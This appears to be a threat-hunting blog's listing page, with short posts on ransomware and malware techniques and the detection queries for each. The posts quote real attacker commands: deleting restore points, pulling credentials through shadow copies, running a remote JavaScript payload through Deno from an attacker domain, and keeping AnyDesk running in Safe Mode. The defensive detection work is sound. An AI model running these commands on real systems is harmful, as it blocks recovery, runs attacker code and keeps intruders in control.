Posts

416. A Curious Case of Inhibit System Recovery

Image
Hello everyone! Ransomware doesn’t always involve particularly interesting techniques, but there are exceptions. Today, we’ll look at a noteworthy example of Inhibit System Recovery (T1490) . Let’s take a closer look at Monkey Ransomware and how it attempts to prevent a compromised system from being recovered. In addition to more common techniques, such as deleting shadow copies and the local Windows Backup catalog, the malware also disables System Restore and removes existing restore points: powershell.exe -Command "Disable-ComputerRestore -Drive C:\" powershell.exe -Command "Get-ComputerRestorePoint | Remove-ComputerRestorePoint -RestorePointType All" These actions are often performed immediately before or alongside the encryption process. However, attackers may also use scripts to disable recovery mechanisms before deploying the ransomware. This creates an interesting detection opportunity: if we can catch these commands before the ransomware is deployed, we may...
Post a Comment
Read more

415. Threat Actors Abuse IronPython to Deliver Malware

Image
Hello everyone! As you know, threat actors frequently abuse various command and scripting interpreters at different stages of the attack lifecycle. Today, we’ll look at a less common example involving Python (T1059.006) . To develop hunting hypotheses, let’s take a look at Zscaler’s report on SloppyRAT. In particular, we’re interested in the section covering Python. First, the attackers used a renamed copy of curl.exe to download IronPython from GitHub: "C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip In this case, we can hunt for suspicious IronPython downloads performed with cURL: event_type: "processcreatewin" AND proc_file_originalfilename: "curl.exe" AND cmdline: *ironpython* The attackers then used the downloaded interpreter to deliver CastleLoader, followed ...
Post a Comment
Read more

414. That's How Threat Actors Abuse Direct Volume Access

Image
Hello everyone! Today, let’s take a look at Direct Volume Access (T1006) - a technique threat actors can use to bypass normal access controls and gain access to files they’re interested in, including those containing credentials. For example, attackers can access Volume Shadow Copies to get around file locks and access protected data. In this case, the threat actors made multiple attempts to dump the Security Account Manager (SAM) and access the NTDS.dit database. They then used vssadmin to create shadow copies of the C:\ and F:\ drives: vssadmin create shadow /for=C: vssadmin create shadow /for=F: While this activity can certainly be legitimate - for example, as part of backup or system administration tasks - the execution of these commands can also be a sign that an attacker is attempting to access files containing sensitive information. This makes activity like this worth hunting for proactively: event_type: "processcreatewin" AND proc_file_path: "vssadmin.exe...
Post a Comment
Read more

413. Threat Actors Abuse Multiple Services for System Location Discovery

Image
Hello everyone! I hope you remember that collecting information about a compromised system is one of the most valuable stages from a threat hunting perspective. Today, let’s take a look at the following technique:  System Location Discovery (T1614) . Quite often, malware uses various legitimate web services to obtain information about the IP address of a compromised system. In this case, the attackers used several of them, namely: https://ipv4[.]ipleak[.]net/json/ https://get[.]geojs[.]io/v1/ip/geo[.]json https://ipapi[.]co/json/ https://api[.]ipapi[.]is/ https://ipinfo[.]io/json If some of these services are unfamiliar to you, they can serve as the basis for a hunting hypothesis, for example: event_type: "dnsreqwin" AND dns_rname: ("ipv4.ipleak.net" OR "get.geojs.io" OR "ipapi.co" OR "api.ipapi.is" OR "ipinfo.io") See you soon!
Post a Comment
Read more

412. Threat Actors Abuse Deno to Run Remote JavaScript Payloads

Image
Hello everyone! Today, we’ll talk about JavaScript (T1059.007) and how attackers abuse a legitimate runtime. As part of another ClickFix campaign, the attackers used some pretty interesting techniques. First, they used winget.exe to download and install the Deno runtime. Second, they used Deno to execute a malicious payload from a remote server controlled by the attackers: deno.exe run -A hxxp://webstizkgao[.]com/v020def066f14754be9.js So, it looks like Deno could be a great hunting target: event_type: "processcreatewin" AND proc_file_originalfilename: "deno.exe" AND cmdline: "run" See you soon!
Post a Comment
Read more

411. Ransomware Actors Control Systems in Safe Mode Using AnyDesk

Image
Hello everyone! As you probably know, the Modify Registry (T1112) technique allows attackers to accomplish a wide range of objectives throughout the attack lifecycle. Today, we’ll take a look at another interesting example. To bypass existing security controls, the ransomware actors - this time Akira (Neon Wolf) - once again took advantage of Windows Safe Mode. But the attackers needed a way to control the compromised system. For this, they used AnyDesk . To ensure that it would be launched even after rebooting into Safe Mode, they made the following registry modification: "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service Since this activity takes place immediately before the ransomware deployment begins, it may be the last opportunity to prevent damage. For example, it is worth monitoring for suspicious modifications to the relevant registry key: event_type: "registryvaluesetwin" AND reg_...
Post a Comment
Read more

410. Adversaries Want to Be Stealthy, But Make More Noise

Image
Hello everyone! Today, let’s look at an example of how attackers’ attempts to get rid of artifacts can actually add more noise. Moreover, this is a very common example. Our source is a Zscaler report on the new modular remote access trojan Abyssos. Despite being new, the trojan uses a huge number of well-known techniques. For example, as part of implementing the File Deletion technique (T1070.004), the malware executes the following command: cmd.exe /C ping 127.0.0.1 -n 3 >nul & del /F /Q path_to_file Although the malicious file is deleted in this case, the structure of the command is quite distinctive, giving us an opportunity for detection: event_type: "processcreatewin" AND proc_file_path: "cmd.exe" AND cmdline: ("ping" AND "del") Moreover, this is far from the first sample exhibiting a similar behavioral marker, allowing us to detect not only this particular family but many others as well. See you soon!
Post a Comment
Read more